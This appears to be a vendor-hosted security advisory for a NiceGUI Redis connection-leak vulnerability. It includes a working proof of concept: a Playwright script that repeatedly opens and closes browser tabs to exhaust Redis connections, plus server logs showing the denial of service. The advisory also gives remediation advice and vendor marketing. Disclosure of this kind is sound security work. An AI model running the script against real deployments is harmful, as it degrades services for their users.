CVE-2026-21874

CVE-2026-21874 is a medium-severity security vulnerability in nicegui (pip), affecting versions >= 2.10.0, <= 3.4.1. It is fixed in 3.5.0.

Summary

An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit.
NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.

Details

When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

PoC

Test server (test_connection_leak.py)

import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)

Attack script (attack_connection_leak.py)

import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        for i in range(num_tabs):
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=10000)
                await page.wait_for_timeout(500)
            except Exception:
                pass
            await context.close()
        await browser.close()


if __name__ == "__main__":
    asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))

Steps to reproduce

  1. Limit Redis connections: redis-cli CONFIG SET maxclients 50
  2. Start server: NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py
  3. Run attack: python attack_connection_leak.py
  4. Observe server logs - Redis refuses connections:
NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1
2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1
2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2
2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2
2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3
2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3->3
2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3
2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3
2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3
2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4
2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4->4
2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4
2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5
2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5
2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5
2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5
2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5
2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6
2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6
2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6
2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7
2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7->7
2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7
2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7
2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7
2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8
2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8->8
2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8
2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9
2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9
2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9
2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9->9
2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9
2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10
2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10->10
2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10
2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11
2026-01-01 17:21:39,600 ERROR max number of clients reached
Traceback (most recent call last):
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py", line 111, in _invoke_callback
    result = self.callback()
  File "/Users/dyudelevich/dev/test_connection_leak.py", line 45, in log_stats
    conns = client.info("clients")["connected_clients"]
            ~~~~~~~~~~~^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py", line 1005, in info
    return self.execute_command("INFO", section, *args, **kwargs)
           ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 657, in execute_command
    return self._execute_command(*args, **options)
           ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 663, in _execute_command
    conn = self.connection or pool.get_connection()
                              ~~~~~~~~~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py", line 196, in wrapper
    return func(*args, **kwargs)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 2601, in get_connection
    connection.connect()
    ~~~~~~~~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 846, in connect
    self.connect_check_health(check_health=True)
    ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 869, in connect_check_health
    self.on_connect_check_health(check_health=check_health)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 941, in on_connect_check_health
    auth_response = self.read_response()
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 1133, in read_response
    response = self._parser.read_response(disable_decoding=disable_decoding)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 15, in read_response
    result = self._read_response(disable_decoding=disable_decoding)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 38, in _read_response
    raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11
2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370
2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11
2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11->11
2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436
2026-01-01 17:21:40,502 ERROR max number of clients reached
Traceback (most recent call last):
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py", line 93, in _handle_exceptions
    task.result()
    ~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py", line 81, in backup
    if not await self.redis_client.exists(self.key) and not self:
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py", line 720, in execute_command
    conn = self.connection or await pool.get_connection()
                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1198, in get_connection
    await self.ensure_connection(connection)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1231, in ensure_connection
    await connection.connect()
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 298, in connect
    await self.connect_check_health(check_health=True)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 324, in connect_check_health
    await self.on_connect_check_health(check_health=check_health)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 410, in on_connect_check_health
    auth_response = await self.read_response()
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 607, in read_response
    response = await self._parser.read_response(
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        disable_decoding=disable_decoding
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    )
    ^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 82, in read_response
    response = await self._read_response(disable_decoding=disable_decoding)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 102, in _read_response
    raise error
redis.exceptions.ConnectionError: max number of clients reached

2026-01-01 17:21:39,600 ERROR max number of clients reached
redis.exceptions.ConnectionError: max number of clients reached

Impact

Affects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.

CVE-2026-21874 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.5.0); upgrading removes the vulnerable code path.

Affected versions

nicegui (>= 2.10.0, <= 3.4.1)

Security releases

nicegui → 3.5.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade nicegui to 3.5.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-21874? CVE-2026-21874 is a medium-severity security vulnerability in nicegui (pip), affecting versions >= 2.10.0, <= 3.4.1. It is fixed in 3.5.0.
  2. How severe is CVE-2026-21874? CVE-2026-21874 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of nicegui are affected by CVE-2026-21874? nicegui (pip) versions >= 2.10.0, <= 3.4.1 is affected.
  4. Is there a fix for CVE-2026-21874? Yes. CVE-2026-21874 is fixed in 3.5.0. Upgrade to this version or later.
  5. Is CVE-2026-21874 exploitable, and should I be worried? Whether CVE-2026-21874 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-21874 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-21874? Upgrade nicegui to 3.5.0 or later.

Other vulnerabilities in nicegui

CVE-2026-45553CVE-2026-39844CVE-2026-33332CVE-2026-27156CVE-2026-25732

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